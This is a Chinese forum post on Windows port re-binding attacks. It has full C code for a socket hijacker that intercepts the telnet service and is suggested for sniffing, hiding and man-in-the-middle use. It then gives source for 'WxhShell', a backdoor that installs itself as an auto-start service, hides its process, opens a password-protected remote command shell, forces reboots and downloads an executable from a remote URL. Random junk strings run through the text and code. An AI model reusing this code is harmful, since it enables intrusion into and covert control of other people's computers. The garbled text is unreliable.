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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !wgj$5Rw.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6x0>E^~  
TR|; /yJ  
  saddr.sin_family = AF_INET; l-&f81W  
dU,/!|.K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \ iFE,z  
(ZYOm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @cON"(  
\xt!b^d0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'py k  
#!2gxm;g  
  这意味着什么?意味着可以进行如下的攻击: (w*$~p  
?~!h N,h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &m`  
=GF+hM/~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) deNU[  
4{|lzo'&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J [1GP_  
x;+,lP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (H$eXW7  
\ys3&<;b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2.6,c$2tB  
cMj<k8.{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x\*5A,w{c]  
O1 z>A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =c|Bu^(Ctw  
=xgW$c/yB  
  #include {PU[MHZF  
  #include ]n{2cPx5d  
  #include xsfq[}eH<  
  #include    .D :v0Zm}m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tQ/U'Ap&  
  int main() er53?z7zP.  
  { t/3veDh@  
  WORD wVersionRequested; "783F:mPh  
  DWORD ret; Y !`H_Qo  
  WSADATA wsaData;  *q^'%'  
  BOOL val; ! M bRI  
  SOCKADDR_IN saddr; $z<CkMP!U7  
  SOCKADDR_IN scaddr; og>f1NwS[  
  int err; bHp|> g  
  SOCKET s; 9DIGK\  
  SOCKET sc; L8V'mUyD  
  int caddsize; CTwP{[%Pk  
  HANDLE mt; KT3[{lr  
  DWORD tid;   `]%{0 Rx  
  wVersionRequested = MAKEWORD( 2, 2 ); @y,p-##e  
  err = WSAStartup( wVersionRequested, &wsaData ); ?B-aj  
  if ( err != 0 ) { ,yB-jk?  
  printf("error!WSAStartup failed!\n"); D!:Qy@Zw  
  return -1; b c+' n  
  } hJ|z8Sy@1  
  saddr.sin_family = AF_INET; WYq, i}S  
   \UXQy{Ex  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PgVM>_nHk  
ar6Z?v$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3LEN~ N}  
  saddr.sin_port = htons(23); DU;]Q:r{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A) qOJ(OEz  
  { Cnn,$R=/s  
  printf("error!socket failed!\n"); YXmLd'F^3  
  return -1; f`?|A  
  } U8moVj8w1  
  val = TRUE; `aCcTs7~]p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q[}mH: w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =14pEe  
  { =~R 0U  
  printf("error!setsockopt failed!\n"); oL<^m?-u  
  return -1; &R 0BuFL8  
  } QII>XJ9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5 bgx;z9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 l!`m}$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [x@iqFO9  
9{+B l NZ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?f a/}|T  
  { towQoqv  
  ret=GetLastError(); f5'+F-`N  
  printf("error!bind failed!\n"); W{k}ogI;  
  return -1; %cBJ haR{(  
  } -1fT2e  
  listen(s,2); aa$+(  
  while(1) HbCM{A9  
  { r=s7be  
  caddsize = sizeof(scaddr); y M>c**9  
  //接受连接请求 |`,%%p|T%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Zu5`-[mw  
  if(sc!=INVALID_SOCKET) Lw3Z^G  
  { 3uN;*f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CA{c-kG  
  if(mt==NULL) T,k`WR  
  { (;!&RZ  
  printf("Thread Creat Failed!\n"); yXl zImPn  
  break; 'GAjx{gM  
  } ,KZ_#9[>  
  } @*F NWT6  
  CloseHandle(mt); `?~pk)<C].  
  } 9HWtdJ+^C=  
  closesocket(s); 'DVPx%p  
  WSACleanup(); ~~>D=~B0'  
  return 0; >YD? pDPb/  
  }   " MlY G6  
  DWORD WINAPI ClientThread(LPVOID lpParam) ptX;-'j(  
  { >i=mw5`D]  
  SOCKET ss = (SOCKET)lpParam; ,b2Cl[  
  SOCKET sc; FLi)EgZXt  
  unsigned char buf[4096]; =EFF2M`F  
  SOCKADDR_IN saddr; xqIt?v2c  
  long num;  $ l Y  
  DWORD val; a:1-n %&F  
  DWORD ret; j:rGFd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $ -;,O8yR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5r@x$*>e  
  saddr.sin_family = AF_INET; "(/.3`g  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )| 3?7?X  
  saddr.sin_port = htons(23); mL ]zkD_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fj|C+;Q.  
  { h%pgdix  
  printf("error!socket failed!\n"); $:SHZe  
  return -1; k/cQJz  
  } CsXIq.9  
  val = 100; 0zetOlFbO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G,%R`Xns  
  { A@+pvC&  
  ret = GetLastError(); .X TBy/(0  
  return -1; ?~hC.5  
  } JuS#p5E #  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u1(`^^Ml  
  { y?;&(Tcbt8  
  ret = GetLastError(); eA4@)6WP(  
  return -1; YrFB~z.V  
  } 3 `$-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P;{f+I|`  
  { )mS Aog<  
  printf("error!socket connect failed!\n"); gm\P`~+o  
  closesocket(sc); >`SIB; &>j  
  closesocket(ss); "I}3*s9Q-  
  return -1; 44b;]htv  
  } Z-.`JkKd8  
  while(1) m o nqaSF  
  { 0DV .1  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5_9mA4gs@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^,qi` Tk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7NE"+EP\{2  
  num = recv(ss,buf,4096,0); Rra<MOR  
  if(num>0) ".Luc 7  
  send(sc,buf,num,0); C0Z mv  
  else if(num==0) ~A(fn:d  
  break; }$?x wcPU  
  num = recv(sc,buf,4096,0); Z~[c65Nlu  
  if(num>0) = a$7OV.  
  send(ss,buf,num,0); *shE-w ;C  
  else if(num==0) ssUWr=mD  
  break; -J[*fv@  
  } sFuB[ JJ}  
  closesocket(ss); V'K1kYb  
  closesocket(sc); := C-P7  
  return 0 ; <!Ed ND=  
  } Z.ky=vCt  
#41~`vq3  
IC"bg<L,*  
========================================================== [< Bk% B5  
]nY,%XE  
下边附上一个代码,,WXhSHELL <k+dJ=f  
h(l4\)  
========================================================== aSkH<5i`v  
uS`XWn<CSD  
#include "stdafx.h" #(=8 RA:@  
g4EC[>5!r  
#include <stdio.h> $F"'= +0  
#include <string.h> Qyx%:PE  
#include <windows.h> =dSH8C"  
#include <winsock2.h> s]@()?.E$  
#include <winsvc.h> T{<riJ`O  
#include <urlmon.h> ZF^$?;'3  
@8{-B;   
#pragma comment (lib, "Ws2_32.lib") dj>zy  
#pragma comment (lib, "urlmon.lib") ?S9? ?y/  
fP# !ywgr%  
#define MAX_USER   100 // 最大客户端连接数 #eadkj #;  
#define BUF_SOCK   200 // sock buffer ""q76cx  
#define KEY_BUFF   255 // 输入 buffer 589hfET  
Dukvi;\  
#define REBOOT     0   // 重启 jfF   
#define SHUTDOWN   1   // 关机 G<:_O-cPSv  
GCm(3%{V%(  
#define DEF_PORT   5000 // 监听端口 5+Fr/C  
H3CG'?{ _  
#define REG_LEN     16   // 注册表键长度 yq]=+X>(  
#define SVC_LEN     80   // NT服务名长度 WR,MqM20  
Is57)(^.-  
// 从dll定义API W<| M0S{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]wb^5H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e!k1GTH^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Uq/FH@E=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AtU%S9  
:+#$=4  
// wxhshell配置信息 "%]<Co<S  
struct WSCFG { HueGARS  
  int ws_port;         // 监听端口 ;+C2P@M  
  char ws_passstr[REG_LEN]; // 口令 |I \&r[J  
  int ws_autoins;       // 安装标记, 1=yes 0=no j.or:nF  
  char ws_regname[REG_LEN]; // 注册表键名 4~<78r5m  
  char ws_svcname[REG_LEN]; // 服务名 c@f?0|66M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I8};t b#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uIh68UM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b$FK}D5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F/p/&9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -@bOFClE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -4wr)zjfW  
O?,Grn%'.  
}; +;,65j+n   
AwnQ5-IR\  
// default Wxhshell configuration `st3iTLZY  
struct WSCFG wscfg={DEF_PORT, %[S-"k  
    "xuhuanlingzhe", t?1 b(oJ  
    1, u-</G-y  
    "Wxhshell", wH]5VltUT1  
    "Wxhshell", Z?JR6;@W  
            "WxhShell Service", "xWrYq'"  
    "Wrsky Windows CmdShell Service", !U::kr=t  
    "Please Input Your Password: ", y[`>,?ns5  
  1,  N$ oQK(  
  "http://www.wrsky.com/wxhshell.exe", BN7]u5\7  
  "Wxhshell.exe" 2nra@  
    }; da ' 1 H  
hufpky[&8  
// 消息定义模块 ~t+T5`K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aFw \ w>*^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kB[l6`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2`dKnaF|  
char *msg_ws_ext="\n\rExit."; C*X=nezq  
char *msg_ws_end="\n\rQuit."; Q&5s,)w-  
char *msg_ws_boot="\n\rReboot..."; !#y_vz9  
char *msg_ws_poff="\n\rShutdown..."; +-X 6 8`  
char *msg_ws_down="\n\rSave to "; ,{6 Vf|?  
5nV IC3N+1  
char *msg_ws_err="\n\rErr!"; M:M"7>:  
char *msg_ws_ok="\n\rOK!"; &c[ISc>N{  
Uv)B  
char ExeFile[MAX_PATH]; PPAcEXsIu  
int nUser = 0; mP*Ct6628n  
HANDLE handles[MAX_USER]; NI  r"i2  
int OsIsNt; (zr2b  
=0t<:-?.-  
SERVICE_STATUS       serviceStatus; :%[mc-6.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /6 y9 u}  
F:7 d}Jx  
// 函数声明 43.Q);4  
int Install(void); JIc(hRf9>  
int Uninstall(void); O,PTY^  
int DownloadFile(char *sURL, SOCKET wsh); w%1-_;.aU6  
int Boot(int flag); z{H=;"+rh  
void HideProc(void); gCV+amP  
int GetOsVer(void); f/95}6M  
int Wxhshell(SOCKET wsl); &M>o  
void TalkWithClient(void *cs); vc%=V^)N7U  
int CmdShell(SOCKET sock); [CG3&J  
int StartFromService(void); b^:frjaE3  
int StartWxhshell(LPSTR lpCmdLine); ^]5^p9Jt"e  
k3+LP7|*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0gRm LX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1'B&e)  
)TfX}  
// 数据结构和表定义 70<{tjyc  
SERVICE_TABLE_ENTRY DispatchTable[] = , Dab(  
{ ??#SQSU  
{wscfg.ws_svcname, NTServiceMain}, "T@9#7Obu  
{NULL, NULL} 'pnOHT  
}; ;#bDz}|\AN  
5pU/X.lc  
// 自我安装 7v&>d,  
int Install(void) @?JFqwq!  
{ 6$)FQ U  
  char svExeFile[MAX_PATH]; 8'PK}heBU  
  HKEY key; 2#(dfEAy  
  strcpy(svExeFile,ExeFile); 6]r#6c %  
!o`riQLs>  
// 如果是win9x系统,修改注册表设为自启动 r]0>A&,  
if(!OsIsNt) { vRh)o1u)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) 7C+hQe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W m&*  
  RegCloseKey(key); 0`/CoP<U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q{|_"sfJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `mthzc3W  
  RegCloseKey(key); wQ^RXbJI9  
  return 0; oFb~|>d  
    } .~C%:bDnX7  
  } EK&";(x2(  
} <Nk:C1Op}  
else { 3#? 53s   
<0!<T+JQ  
// 如果是NT以上系统,安装为系统服务 ;i?rd f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G<-<>)zO!  
if (schSCManager!=0) Hqtv`3g  
{ )(9[>_+40  
  SC_HANDLE schService = CreateService Ft^X[5G4L  
  ( 3bRW]mP8  
  schSCManager, fg7  
  wscfg.ws_svcname, 7|xu)zYB  
  wscfg.ws_svcdisp, =9h!K:,k  
  SERVICE_ALL_ACCESS, ]!]B7|JFJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K$l@0r ~k  
  SERVICE_AUTO_START, j}O qWX>/  
  SERVICE_ERROR_NORMAL, ]N2! 'c  
  svExeFile, D*>#]0X  
  NULL, ejia4(Cd  
  NULL, ;F_P<b 2  
  NULL, \.'[!GE*c  
  NULL, 1Va=.#<  
  NULL F9"Xu-g  
  ); b<%c ]z  
  if (schService!=0) Wecxx^vtv6  
  { S5kD|kJ  
  CloseServiceHandle(schService); lMl'+ yy  
  CloseServiceHandle(schSCManager); zGdYk-H3TH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /'/i?9:  
  strcat(svExeFile,wscfg.ws_svcname); 4jc?9(y%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vjzG H*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D |=L)\  
  RegCloseKey(key); UhJ{MUH`  
  return 0; SOZs!9oi  
    } )PkW,214#  
  } @?jtB  
  CloseServiceHandle(schSCManager); ~0h@p4  
} &=f?:UZ%  
} Be9,m!on  
xs&xcR R"  
return 1; q6ZewuV.  
} k }{o: N  
.Cf!5[0E  
// 自我卸载 PC HKH  
int Uninstall(void) 5$$# d_Gj  
{ CG95ScrX  
  HKEY key; E0x\h<6W~  
F9Af{*Jw?x  
if(!OsIsNt) { 'N^*,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7n?yf_ je  
  RegDeleteValue(key,wscfg.ws_regname); Z- t&AH  
  RegCloseKey(key); t3!OqM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]Ok'C"V(j  
  RegDeleteValue(key,wscfg.ws_regname); (S4HU_,88  
  RegCloseKey(key); L[Ot$  
  return 0; 6Xz d> 5x  
  } 61b*uoq0w?  
} oHr0;4Lg6  
} /M'd$k"0z  
else { U{j4FlB  
D.-G!0!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >28l9U  
if (schSCManager!=0) "h #/b}/  
{ ?"^{:~\N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lSBR(a<\y  
  if (schService!=0) p_ f<@WE  
  { '<xE 0<  
  if(DeleteService(schService)!=0) { yZ[=Y  
  CloseServiceHandle(schService); m"-kkH{I  
  CloseServiceHandle(schSCManager); MV??S{^4  
  return 0; ~o/k?l  
  } jO/cdLKX(  
  CloseServiceHandle(schService); Faa>bc~E  
  } {6WG  
  CloseServiceHandle(schSCManager); q 7 <d|s  
} S>>wf:\ c  
} wdAKU+tM  
}O>4XFj  
return 1; 4lWqQVx  
} VdGVEDwz  
K a& 2>F  
// 从指定url下载文件 1Y&W>p  
int DownloadFile(char *sURL, SOCKET wsh) 6VC|] |*  
{ 3y+~l H :  
  HRESULT hr; E p;i],}  
char seps[]= "/"; gL-kI *Ra  
char *token; wJ pb$;  
char *file; @HiGc^ X(  
char myURL[MAX_PATH]; wV iTMlq  
char myFILE[MAX_PATH]; 6PYm?i=p?  
z HvE_ -  
strcpy(myURL,sURL); [^?i<z{0C  
  token=strtok(myURL,seps); Z'>UR.g  
  while(token!=NULL) ;HH%OfQq  
  { `^,E4Qy  
    file=token; oH+PlL  
  token=strtok(NULL,seps); XI ;] c5  
  } t$%<eF@w  
}^0'IAXi  
GetCurrentDirectory(MAX_PATH,myFILE); :o ~'\:/  
strcat(myFILE, "\\"); +R L@g*`  
strcat(myFILE, file); bS2g4]$'po  
  send(wsh,myFILE,strlen(myFILE),0); ZG2EOy  
send(wsh,"...",3,0); {@iLfBh5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >Oj$ Dn=  
  if(hr==S_OK) ;l~a|KW0  
return 0; ~nhO*bs}7{  
else j~1K(=Ng  
return 1; !yPy@eP~  
AWi>(wk<  
} Xz^k.4 Y{4  
iN. GC^l  
// 系统电源模块 5I,NvHD4  
int Boot(int flag) tM;cvc`/  
{ A_\Jb}J1<  
  HANDLE hToken; xGQP*nZ  
  TOKEN_PRIVILEGES tkp; W4&8  
k}F7Jw#.  
  if(OsIsNt) { ;Z"MO@9:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f|M^UHt8*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -3mIdZ  
    tkp.PrivilegeCount = 1; v@OELJX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Y[ q)lv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C4$P#DZT^  
if(flag==REBOOT) { B* mZxY1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ahl&2f\  
  return 0; km C0.\  
} g%"SAeG<K  
else { l[IL~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) | n)4APX\Q  
  return 0; F<4 :P=  
} yna!L@ *@,  
  } ,hu@V\SKv  
  else { HZ%V>88  
if(flag==REBOOT) { wkGr}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Iy49o!  
  return 0; %6 Av1cv  
} s|H7;.3gp  
else { Pe,ky>ow  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TK18U*z7J  
  return 0; 'g,_lF  
} gJX"4]Ol#}  
} __xmn{{L6P  
o]4BST(A  
return 1; &_-=(rK  
} B G\)B  
)K@D4sl  
// win9x进程隐藏模块 e-P{)L<s5  
void HideProc(void) H[p~1%Lq  
{ A r~/KRK  
-rI7ihr*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9ybR+dGm+  
  if ( hKernel != NULL ) Z(c SM  
  { PdVx&BL*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?i0+h7 =6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J.:  
    FreeLibrary(hKernel); lqv}~MC  
  } Q2Ey RFT  
? OF $J|h  
return; QxLrpM"O  
} Yb 5@W/'  
)cRHt:  
// 获取操作系统版本 :FC)+OmJ  
int GetOsVer(void) hNZ_= <D!  
{ 4cSs=|m?+  
  OSVERSIONINFO winfo; !PGCoI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); { CR`~)v&  
  GetVersionEx(&winfo); ,"`3N2!Y}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \mGb|aF8  
  return 1; [dP<A ?s  
  else ]Xnar:5  
  return 0; ;kZD>G8  
} u`Nrg<  
";(m,i f-  
// 客户端句柄模块 qXq#A&  
int Wxhshell(SOCKET wsl) K/C}  
{ okRt^qe  
  SOCKET wsh; uKXU.u*C  
  struct sockaddr_in client; V.u^;gr3  
  DWORD myID; vb0Ca+}}  
nRqP_*]  
  while(nUser<MAX_USER) ufR>*)_+  
{ ag:<%\2c  
  int nSize=sizeof(client); uc!6?+0h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,B/TqPP  
  if(wsh==INVALID_SOCKET) return 1; ~h8k4eM  
,Aq, f$5V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c/bT5TIEWs  
if(handles[nUser]==0) C$])q`9  
  closesocket(wsh); 0K.$C~ C  
else "gI-S[  
  nUser++; @(a~ p  
  } M<Z#4Gg#4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mD +9/O!  
$<Gt^3e  
  return 0; EB+4]MsD  
} u"v$[8  
"[["naa  
// 关闭 socket 9mMQ  
void CloseIt(SOCKET wsh) C'A D[`p  
{ `{"V(YMEV  
closesocket(wsh); #Qz 9{1\G  
nUser--; !lEV^SQJs  
ExitThread(0); }.|a0N 5  
} ZU B]qzmK  
?UflK  
// 客户端请求句柄 E.:eO??g  
void TalkWithClient(void *cs) w].DLoz  
{ kp[&SKU c  
rM~Mqpk  
  SOCKET wsh=(SOCKET)cs; UVi9}zr  
  char pwd[SVC_LEN]; :+_H%4+  
  char cmd[KEY_BUFF]; Z] cFbl\ma  
char chr[1]; ]OKKR/:  
int i,j; aF"PB h=  
Gv)*[7  
  while (nUser < MAX_USER) { T`v  
hZ<FCY,/?  
if(wscfg.ws_passstr) { A;C4>U Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O[1Q#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , 82?kky  
  //ZeroMemory(pwd,KEY_BUFF); 2-g 5Gb2|  
      i=0; d<\X)-"  
  while(i<SVC_LEN) { +BI%. A`2  
 5 YIk  
  // 设置超时 <Vyl*a{%  
  fd_set FdRead;  /*S6/#  
  struct timeval TimeOut; @d3yqA  
  FD_ZERO(&FdRead); 25xt*30M  
  FD_SET(wsh,&FdRead); #CeWk$)m  
  TimeOut.tv_sec=8; Pvkr$ou  
  TimeOut.tv_usec=0; m7> )p]]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 78Zb IL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V^G+_#@,,  
%7TG>tc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b7M)  
  pwd=chr[0]; \"K:<+RH  
  if(chr[0]==0xd || chr[0]==0xa) { W-RshZ\  
  pwd=0; %I)*5M6  
  break; O'~^wu.  
  } <3k9 y^0  
  i++; \@6w;tyi  
    } =snJ+yn!  
bb/A}< zD  
  // 如果是非法用户,关闭 socket m:;`mBOc3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k lr1"q7  
} ^?0WE   
y3'K+?4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1@]gBv<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5X-d,8{w _  
H0lAu]~R_W  
while(1) { 7&|&y SCu  
d5LL( "  
  ZeroMemory(cmd,KEY_BUFF); [DSzhi]  
J72kjj&C  
      // 自动支持客户端 telnet标准   8+_e=_3R  
  j=0; ` NvJ  
  while(j<KEY_BUFF) { ''EFh&F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _32 o7}!x  
  cmd[j]=chr[0]; !| GD8i  
  if(chr[0]==0xa || chr[0]==0xd) { =WFG[~8  
  cmd[j]=0; #)%dG3)e  
  break; 1NlpOVq:)  
  } ^''3}<Ep  
  j++; 60 p*4>^v  
    } c30 kb  
*zPz)3;  
  // 下载文件 G`jJKiC  
  if(strstr(cmd,"http://")) { .)=j~}\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r$d'[ZcX  
  if(DownloadFile(cmd,wsh)) 6CWm;%B#G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {1wjIo"ptg  
  else g>f_'7F&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H]f8W]"c[  
  } Q;p% VQ  
  else { hKK"D:?PRs  
o:/yme G  
    switch(cmd[0]) { fJG!TQJ[Y  
  ]:]w+N%7  
  // 帮助 >R6>*|~S  
  case '?': { r?n3v[B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *3Ci4\Ew  
    break; @z.HyQ_v  
  }  A,|lDsvM  
  // 安装 ->YF</I  
  case 'i': { 0',-V2  
    if(Install()) 0(!=N 1l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G?{uR6s>#  
    else I9r> 3?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bU"2D.k  
    break; a<Pt m(,  
    } jP"='6Vrw  
  // 卸载 )VR/a  
  case 'r': { W\yaovAt  
    if(Uninstall()) =_dqoAF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %MUwd@,  
    else (V+iJ_1g{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +D+Rf,D  
    break; w=75?3c7F  
    } 2SVJKX_V+  
  // 显示 wxhshell 所在路径 z2A1h!Me  
  case 'p': { 1:iT#~n  
    char svExeFile[MAX_PATH]; ?`D/#P  
    strcpy(svExeFile,"\n\r"); Y]t)k9|vv  
      strcat(svExeFile,ExeFile); };;6706a  
        send(wsh,svExeFile,strlen(svExeFile),0); !"x&tF  
    break; 7j L.\O  
    } Uu3<S  
  // 重启 DWRq \`P  
  case 'b': { l+8G6?@]>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !@-g9z  
    if(Boot(REBOOT)) 0V:PRq;v0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ffd#2f`@  
    else { q--;5"=S  
    closesocket(wsh); >NN&j#;x~  
    ExitThread(0); ;v1&Rs  
    } 6>B_ojj:  
    break; |;_uN q9  
    } okZDxg`6  
  // 关机 VM[Vh k[  
  case 'd': { %CiZ>`5n#  
